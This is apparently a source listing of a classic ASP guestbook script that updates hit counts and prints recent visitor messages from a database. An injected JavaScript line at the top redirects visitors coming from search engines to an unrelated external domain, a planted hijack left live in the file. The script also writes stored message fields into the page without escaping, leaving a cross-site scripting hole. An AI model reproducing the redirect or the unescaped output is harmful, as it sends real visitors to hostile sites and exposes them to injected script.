d:\wwwroot\wuchunhua\rq_message.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
id=int(trim(request.querystring("id")))
003:
if request("type")="show" then
004:
if request("action")="rq" then
005:
sql="select hits from china_data where adid="&id&""
006:
else
007:
sql="select top 10 * from china_message where adid="&id&" order by id desc"
008:
mn="../"
009:
end if
010:
else
011:
if request("action")="rq" then
012:
sql="select hits from news_data where adid="&id&""
013:
else
014:
sql="select top 10 * from news_message where adid="&id&" order by id desc"
015:
mn="../../"
016:
end if
017:
end if
018:
set rs=server.createobject("adodb.recordset")
019:
rs.open sql,conn,1,3
020:
WITH Response
021:
.ContentType = "text/html"
022:
.CharSet = "gb2312"
023:
if request("action")="rq" then
024:
rs("hits")=rs("hits")+1
025:
rs.update
026:
.write rs("hits")
027:
else
028:
if rs.eof then
029:
.Write "暂无留言"
030:
else
031:
.Write "<table width='100%' border='0' align='center' cellpadding='0' cellspacing='1' bgcolor='A5A7A8'>" & vbCrLf
032:
do while not rs.eof
033:
.Write "<tr>" & vbCrLf
034:
.Write "<td bgcolor='F5F5F5'><table width='100%' border='0' cellspacing='0' cellpadding='0'>" & vbCrLf
035:
.Write "<tr>" & vbCrLf
036:
.Write "<td width='3%'><img src='"&mn&"images/news_017.gif' width='19' height='21'></td>" & vbCrLf
037:
.Write "<td width='82%' height='25'><span style='font-weight: bold; color: #0000FF;'>"&rs("messagename")&"(联系方式："&rs("messagelxfs")&")</span></td>" & vbCrLf
038:
.Write "<td width='15%'><span style='color: #999999'>"&rs("messagedate")&"</span></td>" & vbCrLf
039:
.Write "</tr>" & vbCrLf
040:
.Write "</table></td>" & vbCrLf
041:
.Write "</tr>" & vbCrLf
042:
.Write "<tr>" & vbCrLf
043:
.Write "<td bgcolor='#FFFFFF'><table width='100%' border='0' cellspacing='4' cellpadding='0'>" & vbCrLf
044:
.Write "<tr>" & vbCrLf
045:
.Write "<td><span style='color: #000000'>"&rs("messagetext")&"</span></td>" & vbCrLf
046:
.Write "</tr>" & vbCrLf
047:
.Write "</table></td>" & vbCrLf
048:
.Write "</tr>" & vbCrLf
049:
rs.movenext
050:
loop
051:
.Write "</table>" & vbCrLf
052:
end if
053:
end if
054:
END WITH
055:
rs.close:set rs=nothing
056:
conn.close:set conn=nothing
%
>
057:
058: